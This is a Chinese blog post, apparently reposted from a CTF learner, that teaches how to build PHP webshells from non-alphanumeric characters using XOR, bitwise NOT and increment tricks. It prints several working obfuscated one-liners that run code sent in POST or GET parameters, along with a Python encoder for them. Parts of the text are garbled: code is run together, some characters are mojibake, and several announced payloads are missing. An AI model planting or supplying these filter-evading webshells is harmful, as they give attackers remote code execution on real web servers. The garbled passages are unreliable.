浅析无字符数字构造webshell
前言:
之前在命令執行的時候多少學了一點,但發現如果不自己去動手實踐一下會忘的很快,這次就來動手實踐一番。恰好最近做了很多有關無字符數字的CTF題,恰好可以作為例子說一下。
0x00:轉換思想:
如果遇到一段代碼將字符和數字全部過濾,就要轉變思想,既然非字母、數字的字符還存在,就通過各種變換方法構造出我們想要的字符,然后再利用PHP允許動態函數執行的特點,拼接成一個函數名,最后動態執行即可繞過。
#在php5中assert是一個函數,便可以通過上這樣的方法來動態執行任意代碼 $f='assert';$f(...);所以思想也很簡單了,就是將非字符數字通過處理后進行拼接。
0x01:PHP中的異或
在PHP中,兩個變量的值進行異或時,會先將兩個變量的值轉換為ASCII,再將ASCII轉換為二進制,對兩對二進制數據進行異或,異或完,再將結果轉為ASCII,最后將ASCII轉為字符串,即為最終結果。
其實也就是在PHP中,兩個字符串執行異或操作以后,得到的還是一個字符串
異或規則
0&0=0 1&1=0 0&1=1 1&0=1 兩個二進制數相同時,異或為0,不同為1下面來看一段通過異或獲得的無字符數字webshell
<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>也直接合成一句話進行使用
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");簡單分析一下這段代碼:
- $_++ :對變量名為_的變量進行自增操作,在PHP中未定義的變量默認值為Null,null==false==0,因此可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。
- .=是字符串的連接
注意因為exp中含有特殊字符,所以需要進行url編碼才可以正常使用
再看一下PHITHON師傅通過異或得到webshell,也是一樣的原理
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); #$_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); #$__='_POST'; $___=$$__; $_($___[_]); #assert($_POST[_]);
但有一個缺點就是這樣構造的webshell代碼過長,如果限制了長度就沒有辦法再進行利用。但如果題目條件限制只能使用異或這種方法來構造webshell,也是可以縮短長度的,可以讓字符一起異或使用
如:
其實原理都一樣,按照順序進行異或,從而得到相應的字符,就拿GET來說,可以組成下面的payload
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); #$_GET[_]($_GET[__])
簡單的異或腳本
0x01:PHP中的取反
求反運算符~為單目運算符,具有右結合性。其功能是對參與運算的數的各二進位按位求反。
負數用十六進制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最后再加一
利用的是UTF-8編碼的某個漢字,并將其中某個字符取出來,如:
拿和字來說
所以當題目限制不能使用字母和數字時,就可以通過結合漢字進行取反繞過,這里就記錄下PHITHON 師傅的payload
<?php $__=('>'>'<')+('>'>'<'); #$__2 $_=$__/$__; #$_1$____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); #$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); #$_____=_POST$_=$$_____; #$_=$_POST $____($_[$__]); #assert($_POST[2]) ?>由于Payload中含有一些特殊字符,所以需要對Payload進行一次URL編碼才可以正常使用
這種方法是通過和漢字結合來獲取webshell,但要注意在PHP7下因為語法所以是不可以直接使用
可以使用下面的方法
$___="瞰"; $a = ~($___{2});除此之外還可以使用另外一種方法進行構造,在上面已經知道了,這兩個寫法性質一樣,得到的結果相同。
<?php $_="和"; print(~($_{2})); print(~"\x8c"); ?> #結果為 ss所以可以直接寫成~"\x8c"這種形式,能夠縮減不少字符,腳本如下:
#腳本參考V0n師傅的 def get(shell):hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))hexbit = hexbit.replace('0x','%')print(hexbit) get('assert') get('_POST') #%9e%8c%8c%9a%8d%8b assert #%a0%af%b0%ac%ab _POST
所以構造exp為:
因為有些payload中含有不可見字符,所以需要用url編碼表示,但如果覺得自己的payload沒有問題執行不出來的話就編碼一下再試,有時也不需要進行編碼。
0x03:php 遞增/遞減運算符
很明顯了,如果能夠得到"A",那么我們就能通過自增自減,得到所有的字母。
那如何拿到一個值為字符串’A’的變量,在PHP如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為"Array"。再取這個字符串的第一個字母,就可以獲得"A"??梢詼y試一下:
故payload為:
(PHP函數是大小寫不敏感的,所以最終執行的是ASSERT($POST[]),無需獲取小寫a)
但是這段exp實在是太長了,如果限制了長度基本就沒戲了。
0x04:PHP中的短標簽
有的時候因為題目限制,比如過濾了空格或字母,但又要上傳php文件,可以將<?php替換為<?=
在PHP中有兩種短標簽,<??>和<?=?>。<??>相當于對<?php>的替換。而<?=?>則是相當于<? echo>。
例如:
PHP的短標簽需要將php.ini中設置short_open_tag為on才能開啟短標簽(默認是開啟的,但似乎又默認注釋,所以還是等于沒開啟)。但實際上在PHP5.4以后,無論short_open_tag是否開啟,<?=?>這種寫法總是適用的,<??>這種寫法則需要short_open_tag開啟才行。
0x05:PHP5與PHP7
- 在PHP5中,assert()是一個函數,可以使用$_=assert;$_()這樣的形式來執行代碼。但在PHP7中,assert()變成了一個和eval()一樣的語言結構,不再支持上面那種調用方法。
- 在PHP5中,是不支持($a)()這種調用方法的,但在PHP7中支持這種調用方法,因此支持這么寫('phpinfo')();
總結
常見的構造方法基本就這幾種了,但還有一些構造方法沒有寫,待做題遇到了再來補充。
總結
以上是生活随笔為你收集整理的浅析无字符数字构造webshell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CISCN2020初赛_Web
- 下一篇: 工控杯线上赛_wp